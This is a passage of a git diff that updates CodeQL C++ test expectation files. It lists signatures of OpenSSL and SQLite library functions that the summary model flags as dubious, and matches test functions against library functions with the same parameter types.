*,int,const unsigned char *,int,EC_KEY *)" in summary model. | +| Dubious signature "(int,const unsigned char *,int,unsigned char *,unsigned int *,DSA *)" in summary model. | +| Dubious signature "(int,const unsigned char *,int,unsigned char *,unsigned int *,DSA *,unsigned int,const char *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(int,const unsigned char *,int,unsigned char *,unsigned int *,const BIGNUM *,const BIGNUM *,EC_KEY *)" in summary model. | +| Dubious signature "(int,const unsigned char *,unsigned int,unsigned char *,size_t *,const unsigned char *,size_t,RSA *)" in summary model. | +| Dubious signature "(int,int *,int *,int)" in summary model. | +| Dubious signature "(int,int,TLS_GROUP_INFO *,size_t,long,stack_st_OPENSSL_CSTRING *)" in summary model. | +| Dubious signature "(int,int,const char *)" in summary model. | +| Dubious signature "(int,int,const char *,const char *)" in summary model. | +| Dubious signature "(int,int,const char *,va_list)" in summary model. | +| Dubious signature "(int,int,const unsigned char *,int)" in summary model. | +| Dubious signature "(int,int,const unsigned char *,int,OSSL_LIB_CTX *)" in summary model. | +| Dubious signature "(int,int,int *)" in summary model. | +| Dubious signature "(int,int,int,const void *,size_t,SSL *,void *)" in summary model. | +| Dubious signature "(int,int,void *)" in summary model. | +| Dubious signature "(int,long,void *,CRYPTO_EX_new *,CRYPTO_EX_dup *,CRYPTO_EX_free *)" in summary model. | +| Dubious signature "(int,sqlite3_int64 *,sqlite3_int64 *,int)" in summary model. | +| Dubious signature "(int,unsigned char *,int,const char *,const char *)" in summary model. | +| Dubious signature "(int,unsigned char *,int,int *,unsigned long *,..(*)(..),void *)" in summary model. | +| Dubious signature "(int,unsigned long,..(*)(..),void *)" in summary model. | +| Dubious signature "(int,void *)" in summary model. | +| Dubious signature "(int_dhx942_dh **,const unsigned char **,long)" in summary model. | +| Dubious signature "(lemon *)" in summary model. | +| Dubious signature "(lemon *,action *)" in summary model. | +| Dubious signature "(lemon *,const char *)" in summary model. | +| Dubious signature "(lemon *,const char *,const char *)" in summary model. | +| Dubious signature "(lhash_st_CONF_VALUE *,BIO *,long *)" in summary model. | +| Dubious signature "(lhash_st_CONF_VALUE *,FILE *,long *)" in summary model. | +| Dubious signature "(lhash_st_CONF_VALUE *,X509V3_CTX *,int,const char *)" in summary model. | +| Dubious signature "(lhash_st_CONF_VALUE *,const char *,long *)" in summary model. | | Dubious signature "(list &&)" in summary model. | | Dubious signature "(list &&,const Allocator &)" in summary model. | +| Dubious signature "(piterator *)" in summary model. | +| Dubious signature "(plink *)" in summary model. | +| Dubious signature "(plink **,config *)" in summary model. | +| Dubious signature "(plink **,plink *)" in summary model. | +| Dubious signature "(pqueue *)" in summary model. | +| Dubious signature "(pqueue *,pitem *)" in summary model. | +| Dubious signature "(pqueue *,unsigned char *)" in summary model. | +| Dubious signature "(regex_t *,const char *,int)" in summary model. | +| Dubious signature "(regex_t *,const char *,size_t,regmatch_t[],int)" in summary model. | +| Dubious signature "(rule *,int)" in summary model. | +| Dubious signature "(size_t *,const char *)" in summary model. | +| Dubious signature "(size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,OSSL_LIB_CTX *)" in summary model. | +| Dubious signature "(size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,int,OSSL_LIB_CTX *)" in summary model. | +| Dubious signature "(size_t,OSSL_QTX_IOVEC *,size_t)" in summary model. | +| Dubious signature "(size_t,SSL_CTX *)" in summary model. | +| Dubious signature "(size_t,const QUIC_PKT_HDR *)" in summary model. | +| Dubious signature "(size_t,const char **,size_t *)" in summary model. | +| Dubious signature "(size_t,size_t,void **,const char *,int)" in summary model. | | Dubious signature "(size_type,const T &)" in summary model. | | Dubious signature "(size_type,const T &,const Allocator &)" in summary model. | +| Dubious signature "(sqlite3 *)" in summary model. | +| Dubious signature "(sqlite3 *,..(*)(..),void *)" in summary model. | +| Dubious signature "(sqlite3 *,..(*)(..),void *,..(*)(..))" in summary model. | +| Dubious signature "(sqlite3 *,char **)" in summary model. | +| Dubious signature "(sqlite3 *,char **,const sqlite3_api_routines *)" in summary model. | +| Dubious signature "(sqlite3 *,const char *)" in summary model. | +| Dubious signature "(sqlite3 *,const char *,..(*)(..),sqlite3_callback,void *,char **)" in summary model. | +| Dubious signature "(sqlite3 *,const char *,..(*)(..),void *)" in summary model. | +| Dubious signature "(sqlite3 *,const char *,..(*)(..),void *,..(*)(..))" in summary model. | +| Dubious signature "(sqlite3 *,const char *,char ***,int *,int *,char **)" in summary model. | +| Dubious signature "(sqlite3 *,const char *,const char *)" in summary model. | +| Dubious signature "(sqlite3 *,const char *,const char *,..(*)(..),void *)" in summary model. | +| Dubious signature "(sqlite3 *,const char *,const char *,char **)" in summary model. | +| Dubious signature "(sqlite3 *,const char *,const char *,const char *,const char **,const char **,int *,int *,int *)" in summary model. | +| Dubious signature "(sqlite3 *,const char *,const char *,const char *,sqlite3_int64,sqlite_int64,int,sqlite3_blob **)" in summary model. | +| Dubious signature "(sqlite3 *,const char *,const sqlite3_module *,void *)" in summary model. | +| Dubious signature "(sqlite3 *,const char *,const sqlite3_module *,void *,..(*)(..))" in summary model. | +| Dubious signature "(sqlite3 *,const char *,int)" in summary model. | +| Dubious signature "(sqlite3 *,const char *,int,int *,int *)" in summary model. | +| Dubious signature "(sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..))" in summary model. | +| Dubious signature "(sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..),..(*)(..))" in summary model. | +| Dubious signature "(sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..))" in summary model. | +| Dubious signature "(sqlite3 *,const char *,int,sqlite3_stmt **,const char **)" in summary model. | +| Dubious signature "(sqlite3 *,const char *,int,unsigned int,sqlite3_stmt **,const char **)" in summary model. | +| Dubious signature "(sqlite3 *,const char *,int,void *)" in summary model. | +| Dubious signature "(sqlite3 *,const char *,int,void *,..(*)(..))" in summary model. | +| Dubious signature "(sqlite3 *,const char *,int,void *,..(*)(..),..(*)(..))" in summary model. | +| Dubious signature "(sqlite3 *,const char *,sqlite3 *,const char *)" in summary model. | +| Dubious signature "(sqlite3 *,const char *,sqlite3_int64 *,unsigned int)" in summary model. | +| Dubious signature "(sqlite3 *,const char *,sqlite3_intck **)" in summary model. | +| Dubious signature "(sqlite3 *,const char *,unsigned char *,sqlite3_int64,sqlite3_int64,unsigned int)" in summary model. | +| Dubious signature "(sqlite3 *,const char *,void *,..(*)(..))" in summary model. | +| Dubious signature "(sqlite3 *,const void *,int,int,void *,..(*)(..),..(*)(..),..(*)(..))" in summary model. | +| Dubious signature "(sqlite3 *,const void *,int,sqlite3_stmt **,const void **)" in summary model. | +| Dubious signature "(sqlite3 *,const void *,int,unsigned int,sqlite3_stmt **,const void **)" in summary model. | +| Dubious signature "(sqlite3 *,const void *,int,void *,..(*)(..))" in summary model. | +| Dubious signature "(sqlite3 *,int)" in summary model. | +| Dubious signature "(sqlite3 *,int,..(*)(..),void *)" in summary model. | +| Dubious signature "(sqlite3 *,int,int *,int *,int)" in summary model. | +| Dubious signature "(sqlite3 *,int,int)" in summary model. | +| Dubious signature "(sqlite3 *,sqlite3 *)" in summary model. | +| Dubious signature "(sqlite3 *,sqlite3_int64)" in summary model. | +| Dubious signature "(sqlite3 *,sqlite3_stmt *)" in summary model. | +| Dubious signature "(sqlite3 *,unsigned int,..(*)(..),void *)" in summary model. | +| Dubious signature "(sqlite3 *,void *,..(*)(..))" in summary model. | +| Dubious signature "(sqlite3_backup *)" in summary model. | +| Dubious signature "(sqlite3_backup *,int)" in summary model. | +| Dubious signature "(sqlite3_blob *)" in summary model. | +| Dubious signature "(sqlite3_blob *,const void *,int,int)" in summary model. | +| Dubious signature "(sqlite3_blob *,sqlite3_int64)" in summary model. | +| Dubious signature "(sqlite3_blob *,void *,int,int)" in summary model. | +| Dubious signature "(sqlite3_context *)" in summary model. | +| Dubious signature "(sqlite3_context *,const char *,int)" in summary model. | +| Dubious signature "(sqlite3_context *,const void *,int)" in summary model. | +| Dubious signature "(sqlite3_context *,int)" in summary model. | +| Dubious signature "(sqlite3_index_info *)" in summary model. | +| Dubious signature "(sqlite3_index_info *,int)" in summary model. | +| Dubious signature "(sqlite3_index_info *,int,int)" in summary model. | +| Dubious signature "(sqlite3_index_info *,int,sqlite3_value **)" in summary model. | +| Dubious signature "(sqlite3_intck *)" in summary model. | +| Dubious signature "(sqlite3_intck *,const char *)" in summary model. | +| Dubious signature "(sqlite3_intck *,const char **)" in summary model. | +| Dubious signature "(sqlite3_recover *)" in summary model. | +| Dubious signature "(sqlite3_recover *,int,void *)" in summary model. | +| Dubious signature "(sqlite3_stmt *)" in summary model. | +| Dubious signature "(sqlite3_stmt *,const char *)" in summary model. | +| Dubious signature "(sqlite3_stmt *,int)" in summary model. | +| Dubious signature "(sqlite3_stmt *,int,const char *,int,..(*)(..))" in summary model. | +| Dubious signature "(sqlite3_stmt *,int,const char *,sqlite3_uint64,..(*)(..),unsigned char)" in summary model. | +| Dubious signature "(sqlite3_stmt *,int,const sqlite3_value *)" in summary model. | +| Dubious signature "(sqlite3_stmt *,int,const void *,int,..(*)(..))" in summary model. | +| Dubious signature "(sqlite3_stmt *,int,const void *,sqlite3_uint64,..(*)(..))" in summary model. | +| Dubious signature "(sqlite3_stmt *,int,double)" in summary model. | +| Dubious signature "(sqlite3_stmt *,int,int)" in summary model. | +| Dubious signature "(sqlite3_stmt *,int,sqlite3_int64,sqlite_int64)" in summary model. | +| Dubious signature "(sqlite3_stmt *,int,sqlite3_uint64)" in summary model. | +| Dubious signature "(sqlite3_stmt *,int,void *,const char *,..(*)(..))" in summary model. | +| Dubious signature "(sqlite3_stmt *,sqlite3_stmt *)" in summary model. | +| Dubious signature "(sqlite3_str *)" in summary model. | +| Dubious signature "(sqlite3_str *,const char *)" in summary model. | +| Dubious signature "(sqlite3_str *,const char *,int)" in summary model. | +| Dubious signature "(sqlite3_str *,const char *,va_list)" in summary model. | +| Dubious signature "(sqlite3_str *,int,char)" in summary model. | +| Dubious signature "(sqlite3_value *)" in summary model. | +| Dubious signature "(sqlite3_value *,const char *)" in summary model. | +| Dubious signature "(sqlite3_value *,sqlite3_value **)" in summary model. | +| Dubious signature "(sqlite3expert *)" in summary model. | +| Dubious signature "(sqlite3expert *,char **)" in summary model. | +| Dubious signature "(sqlite3expert *,const char *,char **)" in summary model. | +| Dubious signature "(sqlite3expert *,int,int)" in summary model. | +| Dubious signature "(stack_st_ASN1_UTF8STRING *)" in summary model. | +| Dubious signature "(stack_st_ASN1_UTF8STRING *,const char *,int)" in summary model. | +| Dubious signature "(stack_st_OPENSSL_STRING *,const OSSL_PARAM *)" in summary model. | +| Dubious signature "(stack_st_OSSL_CMP_CRLSTATUS *)" in summary model. | +| Dubious signature "(stack_st_OSSL_CMP_ITAV **,OSSL_CMP_ITAV *)" in summary model. | +| Dubious signature "(stack_st_PKCS7 **,stack_st_PKCS12_SAFEBAG *,int,int,const char *)" in summary model. | +| Dubious signature "(stack_st_PKCS7 **,stack_st_PKCS12_SAFEBAG *,int,int,const char *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(stack_st_PKCS7 *,int)" in summary model. | +| Dubious signature "(stack_st_PKCS7 *,int,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(stack_st_PKCS12_SAFEBAG *)" in summary model. | +| Dubious signature "(stack_st_PKCS12_SAFEBAG **,EVP_PKEY *,int,int,int,const char *)" in summary model. | +| Dubious signature "(stack_st_PKCS12_SAFEBAG **,EVP_PKEY *,int,int,int,const char *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(stack_st_PKCS12_SAFEBAG **,X509 *)" in summary model. | +| Dubious signature "(stack_st_PKCS12_SAFEBAG **,int,const unsigned char *,int)" in summary model. | +| Dubious signature "(stack_st_SCT **,const unsigned char **,long)" in summary model. | +| Dubious signature "(stack_st_SCT **,const unsigned char **,size_t)" in summary model. | +| Dubious signature "(stack_st_SSL_COMP *)" in summary model. | +| Dubious signature "(stack_st_SSL_COMP *,int)" in summary model. | +| Dubious signature "(stack_st_X509 *)" in summary model. | +| Dubious signature "(stack_st_X509 **,X509 *,int)" in summary model. | +| Dubious signature "(stack_st_X509 **,stack_st_X509 *,int)" in summary model. | +| Dubious signature "(stack_st_X509 *,ASIdentifiers *,int)" in summary model. | +| Dubious signature "(stack_st_X509 *,BIO *,const EVP_CIPHER *,int,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(stack_st_X509 *,BIO *,const EVP_CIPHER *,unsigned int,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(stack_st_X509 *,IPAddrBlocks *,int)" in summary model. | +| Dubious signature "(stack_st_X509 *,X509 *)" in summary model. | +| Dubious signature "(stack_st_X509 *,X509 *,int)" in summary model. | +| Dubious signature "(stack_st_X509 *,const X509_NAME *)" in summary model. | +| Dubious signature "(stack_st_X509 *,const X509_NAME *,const ASN1_INTEGER *)" in summary model. | +| Dubious signature "(stack_st_X509 *,stack_st_X509 *,int)" in summary model. | +| Dubious signature "(stack_st_X509_ALGOR **)" in summary model. | +| Dubious signature "(stack_st_X509_ALGOR **,int,int)" in summary model. | +| Dubious signature "(stack_st_X509_ALGOR *,int,int)" in summary model. | +| Dubious signature "(stack_st_X509_ATTRIBUTE **,X509_ATTRIBUTE *)" in summary model. | +| Dubious signature "(stack_st_X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const unsigned char *,int)" in summary model. | +| Dubious signature "(stack_st_X509_ATTRIBUTE **,const X509_ATTRIBUTE *)" in summary model. | +| Dubious signature "(stack_st_X509_ATTRIBUTE **,const char *,int,const unsigned char *,int)" in summary model. | +| Dubious signature "(stack_st_X509_ATTRIBUTE **,int,int,const unsigned char *,int)" in summary model. | +| Dubious signature "(stack_st_X509_ATTRIBUTE *,int)" in summary model. | +| Dubious signature "(stack_st_X509_EXTENSION **,X509_EXTENSION *,int)" in summary model. | +| Dubious signature "(stack_st_X509_EXTENSION **,const stack_st_X509_EXTENSION *)" in summary model. | +| Dubious signature "(stack_st_X509_EXTENSION **,int,void *,int,unsigned long)" in summary model. | +| Dubious signature "(stack_st_X509_EXTENSION *,int)" in summary model. | +| Dubious signature "(stack_st_X509_OBJECT *,X509_LOOKUP_TYPE,const X509_NAME *)" in summary model. | +| Dubious signature "(stack_st_X509_OBJECT *,X509_OBJECT *)" in summary model. | +| Dubious signature "(stack_st_X509_POLICY_NODE *,const ASN1_OBJECT *)" in summary model. | +| Dubious signature "(state *,config *)" in summary model. | +| Dubious signature "(symbol *,lemon *)" in summary model. | +| Dubious signature "(tm *,const ASN1_TIME *)" in summary model. | +| Dubious signature "(tm *,const ASN1_UTCTIME *)" in summary model. | +| Dubious signature "(tm *,int,long)" in summary model. | +| Dubious signature "(u64[2],const u128[16],const u8 *,size_t)" in summary model. | +| Dubious signature "(uint8_t *,const uint8_t *,size_t,const uint8_t[32],const uint8_t[32],const uint8_t,const uint8_t,const uint8_t,const uint8_t *,size_t,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(uint8_t *,size_t)" in summary model. | +| Dubious signature "(uint8_t *,size_t,ML_KEM_KEY *)" in summary model. | +| Dubious signature "(uint8_t *,size_t,const ML_KEM_KEY *)" in summary model. | +| Dubious signature "(uint8_t *,size_t,const uint8_t *,size_t,const ML_KEM_KEY *)" in summary model. | +| Dubious signature "(uint8_t *,size_t,uint8_t *,size_t,const ML_KEM_KEY *)" in summary model. | +| Dubious signature "(uint8_t *,size_t,uint8_t *,size_t,const uint8_t *,size_t,const ML_KEM_KEY *)" in summary model. | +| Dubious signature "(uint8_t *,unsigned char *,uint64_t)" in summary model. | +| Dubious signature "(uint8_t *,unsigned char *,uint64_t,int)" in summary model. | +| Dubious signature "(uint8_t[32],const uint8_t[32])" in summary model. | +| Dubious signature "(uint8_t[32],const uint8_t[32],const uint8_t[32])" in summary model. | +| Dubious signature "(uint8_t[56],const curve448_point_t)" in summary model. | +| Dubious signature "(uint8_t[56],const gf,int)" in summary model. | +| Dubious signature "(uint8_t[56],const uint8_t[56],const uint8_t[56])" in summary model. | +| Dubious signature "(uint8_t[57],const curve448_point_t)" in summary model. | +| Dubious signature "(uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,int *,size_t)" in summary model. | +| Dubious signature "(uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,void *)" in summary model. | +| Dubious signature "(uint32_t *,SSL_CONNECTION *,int)" in summary model. | +| Dubious signature "(uint32_t,uint32_t *,uint32_t *)" in summary model. | +| Dubious signature "(uint32_t,uint32_t,uint32_t *,int32_t *)" in summary model. | +| Dubious signature "(uint64_t *,const ASN1_INTEGER *)" in summary model. | +| Dubious signature "(uint64_t *,int *,const unsigned char **,long)" in summary model. | +| Dubious signature "(uint64_t *,uint64_t *,CRYPTO_RWLOCK *)" in summary model. | +| Dubious signature "(uint64_t *,uint64_t,CRYPTO_RWLOCK *)" in summary model. | +| Dubious signature "(uint64_t *,uint64_t,uint64_t *,CRYPTO_RWLOCK *)" in summary model. | +| Dubious signature "(uint64_t,uint64_t *)" in summary model. | | Dubious signature "(unsigned char *)" in summary model. | +| Dubious signature "(unsigned char **)" in summary model. | +| Dubious signature "(unsigned char **,X509_ALGOR *,ASN1_OCTET_STRING *,int)" in summary model. | +| Dubious signature "(unsigned char **,int,int,int,int)" in summary model. | +| Dubious signature "(unsigned char **,long *,char **,const char *,BIO *,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(unsigned char **,long)" in summary model. | +| Dubious signature "(unsigned char **,size_t *,const EC_POINT *,const EC_KEY *)" in summary model. | +| Dubious signature "(unsigned char **,unsigned char *,const unsigned char *,unsigned int,const unsigned char *,unsigned int)" in summary model. | +| Dubious signature "(unsigned char *,BLAKE2B_CTX *)" in summary model. | +| Dubious signature "(unsigned char *,BLAKE2S_CTX *)" in summary model. | +| Dubious signature "(unsigned char *,MD4_CTX *)" in summary model. | +| Dubious signature "(unsigned char *,MD5_CTX *)" in summary model. | +| Dubious signature "(unsigned char *,MD5_SHA1_CTX *)" in summary model. | +| Dubious signature "(unsigned char *,MDC2_CTX *)" in summary model. | +| Dubious signature "(unsigned char *,RIPEMD160_CTX *)" in summary model. | +| Dubious signature "(unsigned char *,SHA256_CTX *)" in summary model. | +| Dubious signature "(unsigned char *,SHA512_CTX *)" in summary model. | +| Dubious signature "(unsigned char *,SHA_CTX *)" in summary model. | +| Dubious signature "(unsigned char *,SM3_CTX *)" in summary model. | +| Dubious signature "(unsigned char *,WHIRLPOOL_CTX *)" in summary model. | +| Dubious signature "(unsigned char *,const BIGNUM *,DH *)" in summary model. | +| Dubious signature "(unsigned char *,const char *)" in summary model. | +| Dubious signature "(unsigned char *,const unsigned char *,int)" in summary model. | +| Dubious signature "(unsigned char *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(unsigned char *,int)" in summary model. | +| Dubious signature "(unsigned char *,int,const char *,int)" in summary model. | +| Dubious signature "(unsigned char *,int,const unsigned char *,int)" in summary model. | +| Dubious signature "(unsigned char *,int,const unsigned char *,int,const unsigned char *,int)" in summary model. | +| Dubious signature "(unsigned char *,int,const unsigned char *,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *)" in summary model. | +| Dubious signature "(unsigned char *,int,const unsigned char *,int,int)" in summary model. | +| Dubious signature "(unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int)" in summary model. | +| Dubious signature "(unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *)" in summary model. | +| Dubious signature "(unsigned char *,int,int,stack_st_GENERAL_NAMES *,stack_st_GENERAL_NAMES *)" in summary model. | +| Dubious signature "(unsigned char *,int,int,stack_st_GENERAL_NAMES *,stack_st_GENERAL_NAMES *,OSSL_LIB_CTX *)" in summary model. | +| Dubious signature "(unsigned char *,int,unsigned long)" in summary model. | +| Dubious signature "(unsigned char *,long,const unsigned char *,long,const EVP_MD *)" in summary model. | +| Dubious signature "(unsigned char *,long,int,OSSL_CALLBACK *,void *,OSSL_PASSPHRASE_CALLBACK *,void *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(unsigned char *,size_t *,size_t)" in summary model. | +| Dubious signature "(unsigned char *,size_t *,size_t,const unsigned char **,size_t *)" in summary model. | +| Dubious signature "(unsigned char *,uint64_t,int)" in summary model. | +| Dubious signature "(unsigned char *,void *)" in summary model. | | Dubious signature "(unsigned char)" in summary model. | +| Dubious signature "(unsigned char,const char *,ct_log_entry_type_t,uint64_t,const char *,const char *)" in summary model. | +| Dubious signature "(unsigned char[56],const curve448_scalar_t)" in summary model. | +| Dubious signature "(unsigned int *,const BF_KEY *)" in summary model. | +| Dubious signature "(unsigned int *,const CAST_KEY *)" in summary model. | +| Dubious signature "(unsigned int)" in summary model. | +| Dubious signature "(unsigned int,int,int)" in summary model. | +| Dubious signature "(unsigned int[5],const unsigned char[64])" in summary model. | +| Dubious signature "(unsigned long *,IDEA_KEY_SCHEDULE *)" in summary model. | +| Dubious signature "(unsigned long *,RC2_KEY *)" in summary model. | +| Dubious signature "(unsigned long *,const BIGNUM *,int)" in summary model. | +| Dubious signature "(unsigned long *,const char *)" in summary model. | +| Dubious signature "(unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,int)" in summary model. | +| Dubious signature "(unsigned long *,const unsigned long *,const unsigned long *,int,int)" in summary model. | +| Dubious signature "(unsigned long *,const unsigned long *,int)" in summary model. | +| Dubious signature "(unsigned long *,const unsigned long *,int,unsigned long *)" in summary model. | +| Dubious signature "(unsigned long *,const unsigned long *,int,unsigned long)" in summary model. | +| Dubious signature "(unsigned long *,unsigned long *,int,unsigned long *,int)" in summary model. | +| Dubious signature "(unsigned long *,unsigned long *,unsigned long *,int)" in summary model. | +| Dubious signature "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)" in summary model. | +| Dubious signature "(unsigned long *,unsigned long *,unsigned long *,int,unsigned long *)" in summary model. | +| Dubious signature "(unsigned long)" in summary model. | +| Dubious signature "(unsigned long,BIGNUM *,BIGNUM *,int)" in summary model. | +| Dubious signature "(unsigned long,char *)" in summary model. | +| Dubious signature "(unsigned long[8],const unsigned long[8],const unsigned long[8],const unsigned long[8],unsigned long,const unsigned long[8])" in summary model. | +| Dubious signature "(unsigned long[16],const unsigned long[16],const unsigned long[16],const unsigned long[16],const unsigned long[16],unsigned long)" in summary model. | +| Dubious signature "(unsigned short,int)" in summary model. | | Dubious signature "(vector &&)" in summary model. | | Dubious signature "(vector &&,const Allocator &)" in summary model. | +| Dubious signature "(void *)" in summary model. | +| Dubious signature "(void *,CRYPTO_THREAD_RETVAL *)" in summary model. | +| Dubious signature "(void *,OSSL_PARAM[])" in summary model. | +| Dubious signature "(void *,PROV_GCM_CTX *,size_t,const PROV_GCM_HW *)" in summary model. | +| Dubious signature "(void *,block128_f)" in summary model. | +| Dubious signature "(void *,const ASN1_ITEM *,ASN1_OCTET_STRING **,ASN1_STRING **)" in summary model. | +| Dubious signature "(void *,const ASN1_ITEM *,int,int)" in summary model. | +| Dubious signature "(void *,const OSSL_PARAM[])" in summary model. | +| Dubious signature "(void *,const char *,int)" in summary model. | +| Dubious signature "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])" in summary model. | +| Dubious signature "(void *,const unsigned char *,size_t,size_t,const unsigned char **,size_t,const OSSL_PARAM[])" in summary model. | +| Dubious signature "(void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f)" in summary model. | +| Dubious signature "(void *,int)" in summary model. | +| Dubious signature "(void *,int,const OSSL_PARAM[])" in summary model. | +| Dubious signature "(void *,int,size_t,size_t,size_t,uint64_t,const PROV_CIPHER_HW *)" in summary model. | +| Dubious signature "(void *,size_t)" in summary model. | +| Dubious signature "(void *,size_t,const EC_POINT *,const EC_KEY *,..(*)(..))" in summary model. | +| Dubious signature "(void *,size_t,const char *,int)" in summary model. | +| Dubious signature "(void *,size_t,size_t,const char *,int)" in summary model. | +| Dubious signature "(void *,size_t,size_t,size_t,unsigned int,uint64_t,const PROV_CIPHER_HW *,void *)" in summary model. | +| Dubious signature "(void *,size_t,unsigned char **,size_t *,const size_t *)" in summary model. | +| Dubious signature "(void *,size_t,unsigned char **,size_t *,const size_t *,const unsigned char **,const size_t *)" in summary model. | +| Dubious signature "(void *,sqlite3 *,int,const char *)" in summary model. | +| Dubious signature "(void *,sqlite3_uint64)" in summary model. | +| Dubious signature "(void *,unsigned char **,int,size_t,size_t,int,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(void *,unsigned char *,size_t *,size_t)" in summary model. | +| Dubious signature "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(void *,unsigned char *,size_t)" in summary model. | +| Dubious signature "(void *,void *,block128_f,block128_f,ocb128_f)" in summary model. | +| Dubious signature "(void *,void *,const OSSL_DISPATCH *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..))" in summary model. | +| Dubious signature "(void *,void *,const unsigned char *,size_t,const OSSL_PARAM[])" in summary model. | | Dubious signature "(wchar_t *)" in summary model. | | Dubious signature "(wchar_t, const CStringT &)" in summary model. | | Dubious signature "(wchar_t,const CStringT &)" in summary model. | diff --git a/cpp/ql/test/library-tests/dataflow/taint-tests/test_mad-signatures.expected b/cpp/ql/test/library-tests/dataflow/taint-tests/test_mad-signatures.expected index b22b4cb59db0..f95cbea32923 100644 --- a/cpp/ql/test/library-tests/dataflow/taint-tests/test_mad-signatures.expected +++ b/cpp/ql/test/library-tests/dataflow/taint-tests/test_mad-signatures.expected @@ -1,23 +1,431 @@ signatureMatches +| arrayassignment.cpp:3:6:3:9 | sink | (int) | | ASN1_STRING_type_new | 0 | +| arrayassignment.cpp:3:6:3:9 | sink | (int) | | ASN1_tag2bit | 0 | +| arrayassignment.cpp:3:6:3:9 | sink | (int) | | ASN1_tag2str | 0 | +| arrayassignment.cpp:3:6:3:9 | sink | (int) | | EVP_PKEY_asn1_get0 | 0 | +| arrayassignment.cpp:3:6:3:9 | sink | (int) | | Jim_ReturnCode | 0 | +| arrayassignment.cpp:3:6:3:9 | sink | (int) | | Jim_SignalId | 0 | +| arrayassignment.cpp:3:6:3:9 | sink | (int) | | OBJ_nid2ln | 0 | +| arrayassignment.cpp:3:6:3:9 | sink | (int) | | OBJ_nid2obj | 0 | +| arrayassignment.cpp:3:6:3:9 | sink | (int) | | OBJ_nid2sn | 0 | +| arrayassignment.cpp:3:6:3:9 | sink | (int) | | OSSL_STORE_INFO_type_string | 0 | +| arrayassignment.cpp:3:6:3:9 | sink | (int) | | OSSL_trace_get_category_name | 0 | +| arrayassignment.cpp:3:6:3:9 | sink | (int) | | PKCS12_init | 0 | +| arrayassignment.cpp:3:6:3:9 | sink | (int) | | Symbol_Nth | 0 | +| arrayassignment.cpp:3:6:3:9 | sink | (int) | | X509_PURPOSE_get0 | 0 | +| arrayassignment.cpp:3:6:3:9 | sink | (int) | | X509_PURPOSE_get_by_id | 0 | +| arrayassignment.cpp:3:6:3:9 | sink | (int) | | X509_TRUST_get0 | 0 | +| arrayassignment.cpp:3:6:3:9 | sink | (int) | | X509_TRUST_get_by_id | 0 | +| arrayassignment.cpp:3:6:3:9 | sink | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| arrayassignment.cpp:3:6:3:9 | sink | (int) | | evp_pkey_type2name | 0 | +| arrayassignment.cpp:3:6:3:9 | sink | (int) | | ossl_cmp_bodytype_to_string | 0 | +| arrayassignment.cpp:3:6:3:9 | sink | (int) | | ossl_tolower | 0 | +| arrayassignment.cpp:3:6:3:9 | sink | (int) | | ossl_toupper | 0 | +| arrayassignment.cpp:3:6:3:9 | sink | (int) | | pulldown_test_framework | 0 | +| arrayassignment.cpp:3:6:3:9 | sink | (int) | | sqlite3_compileoption_get | 0 | +| arrayassignment.cpp:3:6:3:9 | sink | (int) | | sqlite3_errstr | 0 | +| arrayassignment.cpp:3:6:3:9 | sink | (int) | | tls1_alert_code | 0 | +| arrayassignment.cpp:3:6:3:9 | sink | (int) | | tls13_alert_code | 0 | +| arrayassignment.cpp:3:6:3:9 | sink | (int) | | wait_until_sock_readable | 0 | +| arrayassignment.cpp:88:7:88:9 | get | (int) | | ASN1_STRING_type_new | 0 | +| arrayassignment.cpp:88:7:88:9 | get | (int) | | ASN1_tag2bit | 0 | +| arrayassignment.cpp:88:7:88:9 | get | (int) | | ASN1_tag2str | 0 | +| arrayassignment.cpp:88:7:88:9 | get | (int) | | EVP_PKEY_asn1_get0 | 0 | +| arrayassignment.cpp:88:7:88:9 | get | (int) | | Jim_ReturnCode | 0 | +| arrayassignment.cpp:88:7:88:9 | get | (int) | | Jim_SignalId | 0 | +| arrayassignment.cpp:88:7:88:9 | get | (int) | | OBJ_nid2ln | 0 | +| arrayassignment.cpp:88:7:88:9 | get | (int) | | OBJ_nid2obj | 0 | +| arrayassignment.cpp:88:7:88:9 | get | (int) | | OBJ_nid2sn | 0 | +| arrayassignment.cpp:88:7:88:9 | get | (int) | | OSSL_STORE_INFO_type_string | 0 | +| arrayassignment.cpp:88:7:88:9 | get | (int) | | OSSL_trace_get_category_name | 0 | +| arrayassignment.cpp:88:7:88:9 | get | (int) | | PKCS12_init | 0 | +| arrayassignment.cpp:88:7:88:9 | get | (int) | | Symbol_Nth | 0 | +| arrayassignment.cpp:88:7:88:9 | get | (int) | | X509_PURPOSE_get0 | 0 | +| 